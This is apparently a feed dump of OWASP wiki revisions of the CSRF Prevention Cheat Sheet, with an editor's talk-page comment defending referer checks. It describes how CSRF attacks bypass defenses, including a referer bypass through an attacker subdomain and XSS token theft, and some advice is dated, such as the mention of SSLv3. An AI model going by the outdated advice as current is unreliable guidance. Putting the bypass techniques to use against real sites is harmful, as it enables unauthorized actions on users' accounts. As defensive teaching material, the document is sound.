Cross-Site Scripting is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric[at]infraredsecurity.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156510</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156510"/>
				<updated>2013-08-07T20:31:31Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Don't post theoretical attacks,  or &amp;quot;here say&amp;quot; on any OWASP page. ==&lt;br /&gt;
&lt;br /&gt;
If you edit this page,  please provide a rational.  If you make a mindless edit without rationalization,  it maybe reverted.&lt;br /&gt;
&lt;br /&gt;
A referer check is a valid form of protection and is currently being used to stop the most dangerous CSRF vulnerability ever discovered (according to the DHS: http://www.kb.cert.org/vuls/id/643049).  If you think it be exploited,  PROVE IT.   Stop spreading clearly false information on OWASP.&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156509</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156509"/>
				<updated>2013-08-07T20:28:53Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: Better mitigation guidelines for CSRF tokens within the URL.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site).  This attack scenario is easy to prevent, the referer will be omitted if the origin of the request is HTTPS.  Therefore this attack does not affect web applications that are HTTPS only. &lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are limitations on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Checking The Referer Header ===&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.  This method of CSRF mitigation is also commonly used with unauthenticated requests,  such as requests made prior to establishing a session state which required for a synchronization token.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
=== Checking The Origin Header ===&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric[at]infraredsecurity.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156508</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156508"/>
				<updated>2013-08-07T20:25:54Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: Mozilla introduced the &amp;quot;Origin&amp;quot; standard to prevent CSRF, and therefore must be talked about in this page.   Referer checking is commonly used and commonly accepted method of defense, this cannot be removed without a damn good explanation.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Timeouts on CSRF tokens are very unlikely to help this attack scenario.&lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
